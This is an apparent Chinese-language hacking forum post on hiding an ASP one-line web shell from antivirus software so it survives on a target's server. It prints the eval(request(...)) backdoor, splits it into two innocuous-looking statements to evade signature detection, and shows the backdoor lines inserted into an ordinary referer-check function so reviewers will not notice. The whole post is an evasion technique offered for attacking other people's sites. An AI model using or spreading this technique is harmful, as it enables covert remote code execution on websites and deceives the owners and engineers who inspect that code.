|
我是抛砖引玉,希望大家多发表看法。
怎么让你的ASP马儿更安全,更深的隐藏到对方的程序中
昨天朋友叫我帮他传个马,进过抓包分析,发现可以上传ASP,但上传后文件竟然找不到了。估计是被杀了,我们先看马儿的代码:
<%eval(request("#"))%>
(小注:海洋的一句话后门。我前面有个写后门的贴子是怎么隐藏生成这样的后门。)
杀毒软件会读取特征字符串
eval(request("
而它们都是关键词,怎么变形呢?拆分单词肯定是不行的。
我们把两个东东分开来写,加个变量进去。
<%
efan=request("id") eval(efan) '注:第一句属于获取正常提交的变量id的值,杀毒软件不会连浏览GET提交都杀吧?你放一百二十个心,这句绝对不会被当病毒。但是id常用来提交正常的数值,所以建议还是在使用的时候改个别的变量。但如果本页没有相关的id变量,我们用它当后门的提交值,那更爽不过,没人会怀疑。 '第二这句更简,也不会被监测。可以插下后面的任何位置,不必放在一起 %>
这样一变,任何杀毒软件都过关了,因为两句都是正常调用和执行。或者说连分析程序的工程师看着这样的代码,也不会当成是病毒吧?这样不仅闪过了杀毒软件,让你的后门更安全的永驻“内脏”。
上传后,成功绕过杀毒软件。
我用一段代码示范后门的隐身:
正常代码
Dim sHttp_Referer, sServer_Name sHttp_Referer = CStr(Request.ServerVariables("HTTP_REFERER")) sServer_Name = CStr(Request.ServerVariables("SERVER_NAME")) If Mid(sHttp_Referer, 8, Len(sServer_Name)) = sServer_Name Then IsSelfRefer = True Else IsSelfRefer = False End If
插马后的代码
Dim sHttp_Referer, sServer_Name,efan efan=request("id") sHttp_Referer = CStr(Request.ServerVariables("HTTP_REFERER")) sServer_Name = CStr(Request.ServerVariables("SERVER_NAME")) If Mid(sHttp_Referer, 8, Len(sServer_Name)) = sServer_Name Then IsSelfRefer = True Else IsSelfRefer = False End If eval(efan)
这样,你的马儿会更安全。 |